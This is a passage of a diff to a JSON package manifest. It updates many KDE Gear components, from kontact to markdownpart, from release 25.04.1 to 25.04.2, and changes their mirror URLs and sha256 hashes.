+    "url": "mirror://kde/stable/release-service/25.04.2/src/kontact-25.04.2.tar.xz",
+    "hash": "sha256-Rn5zb1VCnvuYACnN15a849cSf5QXvtLGQptRsonVxhU="
   },
   "kontactinterface": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kontactinterface-25.04.1.tar.xz",
-    "hash": "sha256-bwvXoEDK8aCjRapszD9LgZ6Ym3l0nm5dSyTnnaqH4rk="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kontactinterface-25.04.2.tar.xz",
+    "hash": "sha256-h7N72peJleg4DfUWJzirskiGTclxq/RrGKvDo3z27Pc="
   },
   "kontrast": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kontrast-25.04.1.tar.xz",
-    "hash": "sha256-vTWkzq7UqP9nPrfMBdkMcqG1Ig9BrQ+Iy9kZcbZy9W8="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kontrast-25.04.2.tar.xz",
+    "hash": "sha256-QQ/6KAI1pOMneo7+lTxOE0cU3XJBkTFlvCSqqhNQwcI="
   },
   "konversation": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/konversation-25.04.1.tar.xz",
-    "hash": "sha256-6l4R+WZA/WrkDwRdqkRJrrFiHvo6xPDNjY3awvkUYcI="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/konversation-25.04.2.tar.xz",
+    "hash": "sha256-ua5EG9zP00ytn/2UBb+ipolh0ey8dF7gBQJ323yap2A="
   },
   "kopeninghours": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kopeninghours-25.04.1.tar.xz",
-    "hash": "sha256-IoY3p1oVZujgc+Dp7CG2fTDW8jVu2ohABJ0uk+EnhDM="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kopeninghours-25.04.2.tar.xz",
+    "hash": "sha256-gJ8TQ4rKJFqV/7//RCQTkbVaOFlec9aMN0eWcrI1hfo="
   },
   "korganizer": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/korganizer-25.04.1.tar.xz",
-    "hash": "sha256-qc20b/6LdqhxLLaF+CKcv3gyJMstvQHhWU1nHY10QD0="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/korganizer-25.04.2.tar.xz",
+    "hash": "sha256-V2Bdq81m1PlG0rSkltOsF0c290SAqaYyNAYQkJ2h0jA="
   },
   "kosmindoormap": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kosmindoormap-25.04.1.tar.xz",
-    "hash": "sha256-AuIa+WSSrIWkofUud7ZkAA2L5854ea8KIn6WYGpqc1I="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kosmindoormap-25.04.2.tar.xz",
+    "hash": "sha256-aneLU4EmrYij1OM0sFJZ9O6kCrB88w++KXM+rq1Zw/w="
   },
   "kpat": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kpat-25.04.1.tar.xz",
-    "hash": "sha256-3GpA631pEtuWiHVIoE5xOdidHWJSgpAhaQqFskqE4Ks="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kpat-25.04.2.tar.xz",
+    "hash": "sha256-MfRzlSMs1Buhny1v2Qvem+A/XtYeFYzx0YJIor4jo3o="
   },
   "kpimtextedit": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kpimtextedit-25.04.1.tar.xz",
-    "hash": "sha256-2+gGBCUiDhtiAuw54x+OyW5gb99m3LssOZeJR97qd74="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kpimtextedit-25.04.2.tar.xz",
+    "hash": "sha256-3W3sBz43ljqUFdXsDNHtpPNOZL7IgM8nFuE9JUo0z7Y="
   },
   "kpkpass": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kpkpass-25.04.1.tar.xz",
-    "hash": "sha256-oZkAAlZwh25Vhtma9rfMn8GdMaddY+Qeti3vSMGjHoQ="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kpkpass-25.04.2.tar.xz",
+    "hash": "sha256-8xfbO9jHw01wcnNTMVyDFnOhawpw2nXwdcu1qdrS+TE="
   },
   "kpmcore": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kpmcore-25.04.1.tar.xz",
-    "hash": "sha256-wCM1HE/Uv/po/Y1XgOcTi5XRR9xjDPoB8QiZAE7FFgY="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kpmcore-25.04.2.tar.xz",
+    "hash": "sha256-MalcvcqCTdxd933SH9qkLzIPcdeG3kZ0RV+0rMpbsv0="
   },
   "kpublictransport": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kpublictransport-25.04.1.tar.xz",
-    "hash": "sha256-BHhrp+hr1UoRvGTDGM1rn/uReH6miSwDMM58zAVwsqg="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kpublictransport-25.04.2.tar.xz",
+    "hash": "sha256-iBXmji6aAEqGZQdMqRYZwAA9KEW1IR+dwDyJBNuCYqQ="
   },
   "kqtquickcharts": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kqtquickcharts-25.04.1.tar.xz",
-    "hash": "sha256-RZirgX/19kzlkIw0ehEh+NLjn0ygHMX50cGG64G+uO0="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kqtquickcharts-25.04.2.tar.xz",
+    "hash": "sha256-8WkcSO/upEKFo2dUaXRBAn2H4Hi2wMQhJJVxRB8xeao="
   },
   "krdc": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/krdc-25.04.1.tar.xz",
-    "hash": "sha256-vV4MgMrsrskqvtW5IZ3CORLiKjGvoPAY2fFpMIg0z7w="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/krdc-25.04.2.tar.xz",
+    "hash": "sha256-LWK6gWzZ77po7gakpV5vKLpAXrYcl2b35EFkznWp458="
   },
   "krecorder": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/krecorder-25.04.1.tar.xz",
-    "hash": "sha256-v+/2hfcGEOPKtwZ8NJwmRAQZbY5Lx9GGcv1f8FpkAlc="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/krecorder-25.04.2.tar.xz",
+    "hash": "sha256-Y70TljWdOPMRe4a89d95or/EXwxdzoFwrFfFTPL2z9Y="
   },
   "kreversi": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kreversi-25.04.1.tar.xz",
-    "hash": "sha256-oZD/2FFMXg3pjk8iPE/LuE/e9ZLdmG9BArGxdL1K2TU="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kreversi-25.04.2.tar.xz",
+    "hash": "sha256-GXRJ8gwm/UEQOaALBDuAK2ual+XzxJIMqb+BJVACArE="
   },
   "krfb": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/krfb-25.04.1.tar.xz",
-    "hash": "sha256-sHMJqEelDNzxSvolSh01dRPx9UQSg+wYYSXY3rzVF2w="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/krfb-25.04.2.tar.xz",
+    "hash": "sha256-ff9TuCOPAV5IPwOO0Zy7c4FUEr6ShLhu1LVTb69dUAY="
   },
   "kruler": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kruler-25.04.1.tar.xz",
-    "hash": "sha256-Ped6di9KcrJCy54y8+QsQVFHIs5iQAeeEtZ1ByEe7o8="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kruler-25.04.2.tar.xz",
+    "hash": "sha256-hS/zJUCsdkh01AEocfk9QsoLSCQYvyUIQUD5kqCPLsI="
   },
   "ksanecore": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/ksanecore-25.04.1.tar.xz",
-    "hash": "sha256-EQM4IJAZ3DBxRofVwkM1V0YoTPrEEtz3A6wbbgf0i+U="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/ksanecore-25.04.2.tar.xz",
+    "hash": "sha256-cDnpxMHywpU1mmjZWB8HwGdFcoSDkax8y7GvIsB5Fdg="
   },
   "kshisen": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kshisen-25.04.1.tar.xz",
-    "hash": "sha256-WajYZHc8mLvUDa97mssaHVvJY7GpAqec8Cf0oU+6uMU="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kshisen-25.04.2.tar.xz",
+    "hash": "sha256-6dPJjWBTPK1374O+gadZANcscDx8be5IuML73DTsCr0="
   },
   "ksirk": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/ksirk-25.04.1.tar.xz",
-    "hash": "sha256-XoE41uXA3BXctmsCQVzIUbgjlX0gXL6ouFeaK/Lc3hk="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/ksirk-25.04.2.tar.xz",
+    "hash": "sha256-bvuln1eI+HnZGpP2zQWEQgoZ2CVF+xjSaClQ3q/djM8="
   },
   "ksmtp": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/ksmtp-25.04.1.tar.xz",
-    "hash": "sha256-QrptuEs1/2tQ7li6TaFOzNpEtgJCtAldU/RhKdbbxH0="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/ksmtp-25.04.2.tar.xz",
+    "hash": "sha256-6Sr/Y4KUnYKq3HzHuoD1/Eqg/qzbJPpNGmDmdaRTMFY="
   },
   "ksnakeduel": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/ksnakeduel-25.04.1.tar.xz",
-    "hash": "sha256-IZoIezYXE2IT7jriFj6TcFTTgYJebkpmfYJDro6bGuM="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/ksnakeduel-25.04.2.tar.xz",
+    "hash": "sha256-V9T/NEgNV+MeNotXsXBZ5svBIma6YN9rIqLe4C0k1hw="
   },
   "kspaceduel": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kspaceduel-25.04.1.tar.xz",
-    "hash": "sha256-BTV31qDbrauKqdse2wuwfym3gxUrPg+WPcQLIuW2u/M="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kspaceduel-25.04.2.tar.xz",
+    "hash": "sha256-Qdms1IzV+lVOdhdqQXYQPYg5vV8lqlSBzNlDk68agoU="
   },
   "ksquares": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/ksquares-25.04.1.tar.xz",
-    "hash": "sha256-ZJuj7lBUUB/bJWe9Y6l1JJpLqUy709OnrbFmwILLq6w="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/ksquares-25.04.2.tar.xz",
+    "hash": "sha256-Qe0sStUu4IW9XZbJNpYahW6/MwFEiSsdBOM+LQr54H0="
   },
   "ksudoku": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/ksudoku-25.04.1.tar.xz",
-    "hash": "sha256-HIEnSfFM4/gb45nfa8L8FEI+4YlKInsaKNbCxb38BRM="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/ksudoku-25.04.2.tar.xz",
+    "hash": "sha256-6T+KDli9pOosFbOY79J/UyW2QbVYu9x8Oj9qgmwBrMk="
   },
   "ksystemlog": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/ksystemlog-25.04.1.tar.xz",
-    "hash": "sha256-tQoJcMcGD1MRYW0zyQDpabyaWnnKpt8zKQW3Kr133eQ="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/ksystemlog-25.04.2.tar.xz",
+    "hash": "sha256-950IzNsjQNCfxT2X7JxcF/lLpSYAo4F8Ae+XQfFz1eM="
   },
   "kteatime": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kteatime-25.04.1.tar.xz",
-    "hash": "sha256-gQ2XGoaFF+c1JX2X1+PDLMyAQq1e/e1wqrAH38I0k5g="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kteatime-25.04.2.tar.xz",
+    "hash": "sha256-MQvIDRn0otVXLgDVEXiGIJvLqxiGILEwpbJGzhV69aw="
   },
   "ktimer": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/ktimer-25.04.1.tar.xz",
-    "hash": "sha256-VTBqhktjJ4c3u50Ic6m7A7GIPm7lDyTNohdeXwnUb7k="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/ktimer-25.04.2.tar.xz",
+    "hash": "sha256-10UTMq1mORRx8ee7ks+LwTUsfpHetHpMNM+C7UDSjGw="
   },
   "ktnef": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/ktnef-25.04.1.tar.xz",
-    "hash": "sha256-mBlv3bN43Nc4rmhZ1GE6yuhR2e054ESpQe6TneGoo9E="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/ktnef-25.04.2.tar.xz",
+    "hash": "sha256-Tt0YM1+FQW/sTHk9NZgC+TXeg4p7YP1vTZz+fuasyj4="
   },
   "ktorrent": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/ktorrent-25.04.1.tar.xz",
-    "hash": "sha256-F82xW4qRfaKGwqIenW70IXq0IHPtGo3uJaugLMmqdIQ="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/ktorrent-25.04.2.tar.xz",
+    "hash": "sha256-2hg0eV4aA78aAhgs86lb6WVKXewypVvWPleVzF013ic="
   },
   "ktouch": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/ktouch-25.04.1.tar.xz",
-    "hash": "sha256-zqo7v/6DkK5TEulQpPT/a3oepJEoTZnGQeY/Mh7A1g8="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/ktouch-25.04.2.tar.xz",
+    "hash": "sha256-gQ2f9KJiPsqhBjjvWd1kReOYiknQ7SZRlEf2o+XA8wA="
   },
   "ktrip": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/ktrip-25.04.1.tar.xz",
-    "hash": "sha256-nlG4HrKDVNbAGFYT6WXN2C+GHd7bjsXQp1LNMCcLVGo="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/ktrip-25.04.2.tar.xz",
+    "hash": "sha256-rNYXo88f7izEt7gWFWcjUBYrRv7ulJ/O1h+TZhsJF3E="
   },
   "ktuberling": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/ktuberling-25.04.1.tar.xz",
-    "hash": "sha256-Ol0bnJRVxIqstUpbrvVk6OmctNWG7qAeW9Hfwb7fjLw="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/ktuberling-25.04.2.tar.xz",
+    "hash": "sha256-+cQYkHBThpNwH44iThRTlKwnDMsHDGe9tkCdqxnxMeA="
   },
   "kturtle": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kturtle-25.04.1.tar.xz",
-    "hash": "sha256-cSovcn2tB2IFi6WHsMCcIma5NKoUlhQjLIQbnCZ+rXw="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kturtle-25.04.2.tar.xz",
+    "hash": "sha256-tzbKkIhCF2O1qVpXoWmXReH24uVFRHf7vOXoLyWuQxU="
   },
   "kubrick": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kubrick-25.04.1.tar.xz",
-    "hash": "sha256-edzDXK6VsvLLEV05/ZP2wKM3Ys490x9R7ZWc+EIa2OM="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kubrick-25.04.2.tar.xz",
+    "hash": "sha256-CnBXBVU4rL4yWpEMjxZ4RhqL6DJK3l6klHabjIpscb0="
   },
   "kunifiedpush": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kunifiedpush-25.04.1.tar.xz",
-    "hash": "sha256-tMYPQwJziQI8YUsEMVc+1xAxfTWri3LTdmBr/Rmc5oE="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kunifiedpush-25.04.2.tar.xz",
+    "hash": "sha256-+Wksn/OhMiaVshjL1sJujAj6/JQKZsuovPW+576CuqQ="
   },
   "kwalletmanager": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kwalletmanager-25.04.1.tar.xz",
-    "hash": "sha256-rPSftVm+CqLs6kq0lLZssqPacFnFoOoQe25pM/Ug1I4="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kwalletmanager-25.04.2.tar.xz",
+    "hash": "sha256-YmokCCb1UYQTlbxhdC70U5CZXfV82a7NRKn9sXuWzyg="
   },
   "kwave": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kwave-25.04.1.tar.xz",
-    "hash": "sha256-HpB0+BQAanwYP+v1akBCOn6Og0Y1GUJ5zd4NC0e4kzM="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kwave-25.04.2.tar.xz",
+    "hash": "sha256-EAi7RqA3DYM91lUdPE25fKOSJNFk9t4x7MReBtA9zY4="
   },
   "kweather": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kweather-25.04.1.tar.xz",
-    "hash": "sha256-fgIWxWJYQa36RzYxhsDkbZBpIsjF1W5fvjv0qKVZZWg="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kweather-25.04.2.tar.xz",
+    "hash": "sha256-AdcZ/8zNNgMfPzN+SFq0/ppX20ikMzqGR/HpuzfzQsA="
   },
   "kweathercore": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kweathercore-25.04.1.tar.xz",
-    "hash": "sha256-e/YXM/+nasZgtm9lsODArEYjDQd/A82TlY1ckamK/fY="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kweathercore-25.04.2.tar.xz",
+    "hash": "sha256-L1l2grMWHjVu+AUQu/JMUej902S9AQigZ/WS7CFxJys="
   },
   "kwordquiz": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/kwordquiz-25.04.1.tar.xz",
-    "hash": "sha256-LJzOFrqifc+C0m1cz9gy+/efo3aQY6e6PXEagCsjDGs="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/kwordquiz-25.04.2.tar.xz",
+    "hash": "sha256-cCo9fCgaqiBWIbIIi6eiTqICrgOQxc9AV/FmhwEoNrc="
   },
   "libgravatar": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/libgravatar-25.04.1.tar.xz",
-    "hash": "sha256-hkzPaUzw9RvmctXgelJz60Au/JLF7UP6QHfbMp9kmpo="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/libgravatar-25.04.2.tar.xz",
+    "hash": "sha256-QMy80q9/85Y71V1eu8JgixopIP/C5KiqfpflBK4aAPA="
   },
   "libkcddb": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/libkcddb-25.04.1.tar.xz",
-    "hash": "sha256-r0i60/lGFP7B8eN5Oi+ICO/667++FgPC1vJ0ja/4S+w="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/libkcddb-25.04.2.tar.xz",
+    "hash": "sha256-8UJYpxzjYPupSNjcVOtu0WfRbTH4DIO9J+a9t5ynkNM="
   },
   "libkcompactdisc": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/libkcompactdisc-25.04.1.tar.xz",
-    "hash": "sha256-BKqgo0sPwUNdefBL27nyZXQEJaBkmieBNb2jszX83lA="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/libkcompactdisc-25.04.2.tar.xz",
+    "hash": "sha256-k9qSw8a3zVZlcnZ0QG8GvqvP66Aut7lEWt9EGuZhjVg="
   },
   "libkdcraw": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/libkdcraw-25.04.1.tar.xz",
-    "hash": "sha256-bMX3QXeKfie2uasrDBfYFF89GXoiRS9gju12Fs1rJtY="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/libkdcraw-25.04.2.tar.xz",
+    "hash": "sha256-3nvETQQ3oNypShAFNguWsA2k/8UB9RPv9GbD6ydV/Yo="
   },
   "libkdegames": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/libkdegames-25.04.1.tar.xz",
-    "hash": "sha256-QhrI4uZIpIrkpoCHNfzSeRbJqs5fDpn8giYGBF0HDL4="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/libkdegames-25.04.2.tar.xz",
+    "hash": "sha256-h3XHj3bWS+BbqxDfTQw/o9X1RCoJTIZQHW7HramzDSs="
   },
   "libkdepim": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/libkdepim-25.04.1.tar.xz",
-    "hash": "sha256-fpUS9be2WpRs+MG2PKPOoYKsn0TAxVffnU+gmD0U+kU="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/libkdepim-25.04.2.tar.xz",
+    "hash": "sha256-t1Y+IcVlPLSbFOUPePTenIumsszhFl1kl7YYaEnsBdk="
   },
   "libkeduvocdocument": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/libkeduvocdocument-25.04.1.tar.xz",
-    "hash": "sha256-BhNYXD/WdcljLtAToUFUNtIeHDx3Y+tfYdrlTfCr59c="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/libkeduvocdocument-25.04.2.tar.xz",
+    "hash": "sha256-mJeZkx22cQsjNw98tU//BiwSuwLZhWRDUccW8LRsbjY="
   },
   "libkexiv2": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/libkexiv2-25.04.1.tar.xz",
-    "hash": "sha256-8GaVJ9H+fvIsPvfIJw7yner7CSPseCoi8c7Rt3U2cZA="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/libkexiv2-25.04.2.tar.xz",
+    "hash": "sha256-nuuw2eyXc/xKPbf6GfbfaSOGCSDqIZLKn52d+WvJl9E="
   },
   "libkgapi": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/libkgapi-25.04.1.tar.xz",
-    "hash": "sha256-suG0q1ZPZ80OLF+g+9OUkoEgvI0XoBmjbwcsUX9B7Lw="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/libkgapi-25.04.2.tar.xz",
+    "hash": "sha256-MWmPsZzNZq9N1tyhI2zvdm1wHU+AmMXCyp4gbLPwNMA="
   },
   "libkleo": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/libkleo-25.04.1.tar.xz",
-    "hash": "sha256-BP5y9ANcUOAfN0HDtF8hcANTWKBJdMVJfJHNa+sw2AA="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/libkleo-25.04.2.tar.xz",
+    "hash": "sha256-NP65hx2KDm3tCnuqlfeP2sKME9ewDukpa9FmngxgX2o="
   },
   "libkmahjongg": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/libkmahjongg-25.04.1.tar.xz",
-    "hash": "sha256-+9SHHUKfLgm1ABfGd388xrzIMZEaQUXd7HQ4wqItws0="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/libkmahjongg-25.04.2.tar.xz",
+    "hash": "sha256-14ZzjabJ2blINzCp4DlvHEaB8n00pkfCaTjiI5Ssy5A="
   },
   "libkomparediff2": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/libkomparediff2-25.04.1.tar.xz",
-    "hash": "sha256-j30Mz3VTti/JM98Uh0d7gizttO0Hd6N0bRIlcgJJQnQ="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/libkomparediff2-25.04.2.tar.xz",
+    "hash": "sha256-D0g0UbJfRit9cgHYkglZZVrG17tHmaAD1GOmLiE64Hk="
   },
   "libksane": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/libksane-25.04.1.tar.xz",
-    "hash": "sha256-XDuDxzrH/XaAvpkzLaBuRn3mxtSc7sG3rjcrFmY3kCM="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/libksane-25.04.2.tar.xz",
+    "hash": "sha256-xFj8wvD/Ur52jnfLTLPKIVDbiYbthAPLGf8Iv12tzsM="
   },
   "libksieve": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/libksieve-25.04.1.tar.xz",
-    "hash": "sha256-ImnDZKqC3zudVmhbnaicpFAE76Vi0rP8RG7vDTCeUHo="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/libksieve-25.04.2.tar.xz",
+    "hash": "sha256-VIR0mxk0KmDpJN7h+A9vXvE0jNGZBtE26ts2ZRNQy8A="
   },
   "libktorrent": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/libktorrent-25.04.1.tar.xz",
-    "hash": "sha256-3jS5qe3kyyvLVfDYuzXFcfDneW4Sy0SGtQ/VUW2GPBQ="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/libktorrent-25.04.2.tar.xz",
+    "hash": "sha256-5sz20FA6C3HVlLdeZ6oK1QXVcxbSDVOAzMWQxPBgTpg="
   },
   "lokalize": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/lokalize-25.04.1.tar.xz",
-    "hash": "sha256-1X1l7yoqIm4OA40tCquxkQts1dj0Ab4QfbNtFkVBfLA="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/lokalize-25.04.2.tar.xz",
+    "hash": "sha256-hUCK82+QatoB8wNClA4GXrK9najNXecuK9RXnjNkKJ4="
   },
   "lskat": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/lskat-25.04.1.tar.xz",
-    "hash": "sha256-YAO872KNpwGPygDIu4IPp4yI8VcDkCf+ivMJ9axWlwM="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/lskat-25.04.2.tar.xz",
+    "hash": "sha256-7+saiNsrZq8/D68sqzcg/I1pSVSCT1/0nArE0r4+0J8="
   },
   "mailcommon": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/mailcommon-25.04.1.tar.xz",
-    "hash": "sha256-Z040Rf3seDx/0Onn5tMcRWp6GSi2EFdi2yMjy61lbdc="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/mailcommon-25.04.2.tar.xz",
+    "hash": "sha256-LGIMU3AaVtZwRPXZdOFxCTgn1cP5fvCV5uLWD5Mslb4="
   },
   "mailimporter": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/mailimporter-25.04.1.tar.xz",
-    "hash": "sha256-0lQSwQ3J3P+F4KViWYNsgROosUqtZoAea0eREO3PKV0="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/mailimporter-25.04.2.tar.xz",
+    "hash": "sha256-v5udSHXzzVszg2am5eca5QiiHVPzsodHROcH8lTYgjE="
   },
   "marble": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/marble-25.04.1.tar.xz",
-    "hash": "sha256-bSRpgnZE9yj5/JoCM4imaBP4GWh9Ff0sk5LYMj438OI="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/marble-25.04.2.tar.xz",
+    "hash": "sha256-U7y5nFGwafmPZx3D2sJzUbM9HaXdPmLLC2B62wHXeOo="
   },
   "markdownpart": {
-    "version": "25.04.1",
-    "url": "mirror://kde/stable/release-service/25.04.1/src/markdownpart-25.04.1.tar.xz",
-    "hash": "sha256-X0KDGYQcqDuHHwDf/wEA3SPWn4zLyXZpVacRI0pdh4I="
+    "version": "25.04.2",
+    "url": "mirror://kde/stable/release-service/25.04.2/src/markdownpart-25.04.2.tar.xz",
